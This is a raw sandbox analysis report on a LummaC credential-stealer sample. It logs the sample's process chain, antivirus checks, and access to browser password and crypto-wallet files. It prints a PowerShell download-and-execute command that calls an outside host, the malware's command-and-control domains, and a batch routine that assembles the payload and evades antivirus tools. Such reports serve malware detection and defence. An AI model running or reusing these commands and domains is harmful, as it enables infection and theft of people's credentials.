Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior

Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	Binary or memory string: puQEMus
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: powershell.exe, 00000010.00000002.2401835288.0000000002D48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000002.2505246383.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3048447823.0000000004CE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000002.2505246383.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Edgar.com, 0000000D.00000003.2250533225.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

NtQuerySystemInformation: Direct from: 0x4585B0

LummaC encrypted strings found

Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: Edgar.com, 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: quantitypitt.click

Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Unlock Unlock.cmd & Unlock.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 96053	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gap	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Reprint" Shower	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 96053\Edgar.com + Lightweight + Surely + Prohibited + Pensions + Vid + Bm + Diagram + Value + Temperature + Skill + Pics 96053\Edgar.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Firewall + ..\Rape + ..\Introduced + ..\Infrastructure + ..\Transcript + ..\Lower + ..\Lease R	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com Edgar.com R	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe "C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;			Jump to behavior

Source: Edgar.com, 0000000D.00000003.2211479741.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000000.2060370240.0000000001023000.00000002.00000001.01000000.00000007.sdmp, Temperature.9.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: BrightLib.exe, 00000031.00000000.2975472495.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.3022802026.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowahk_idpidclassgroup%s%uProgram Manager\P{Xps}\H\P{Xan}\P{Lu}\P{Ll}\P{L}\p{Xps}\h\p{Xan}\p{Lu}\p{Ll}\p{L}\p{Xwd}\P{Xwd}\p{Xsp}\P{Xsp}\p{Nd}\P{Nd}Error text not found (please report)Q\E{0,DEFINEUTF8)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressioninternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: BrightLib.exe, 00000031.00000000.2975472495.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.3022802026.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: regk-hookm-hook2-hooksjoypollPART(no)%s%s%s%s%s{Raw}%s%cHotstring max abbreviation length is 40.LEFTLRIGHTRMIDDLEMX1X2WUWDWLWRSendInputuser32{Blind}{ClickLl{}^+!#{}RawTempSsASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt sc%03Xvk%02XALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUP...%s[%Iu of %Iu]: %-1.60s%sHKLMHKEY_LOCAL_MACHINEHKCRHKEY_CLASSES_ROOTHKCCHKEY_CURRENT_CONFIGHKCUHKEY_CURRENT_USERHKUHKEY_USERSREG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYMasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightAddDefaultIconNoIconDestroyNamePriorityInterruptNoTimersTypeONLocalePermitMouseSendAndMouseMouseMoveOffPlayEventThenEventThenPlayYESNOOKCANCELABORTIGNORERETRYCONTINUETRYAGAINTimeoutMINMAXHIDEScreenRelativeWindowClientPixelCaretIntegerFloatNumberTimeDateDigitXdigitAlnumAlphaUpperLowerUTF-8UTF-8-RAWUTF-16UTF-16-RAWCPRemoveClipboardFormatListenerAddClipboardFormatListenerTrayNo tray memstatus AHK_PlayMe modeclose AHK_PlayMe.aut%s\%sRegClassAutoHotkey2Shell_TrayWndCreateWindoweditLucida ConsoleConsolasCritical Error: %s

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\455e5430 VolumeInformation

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Code function: 49_2_00491486 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

49_2_00491486

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000028.00000002.2933838593.000001ECE72F4000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000028.00000002.2933714690.000001ECE6F6B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
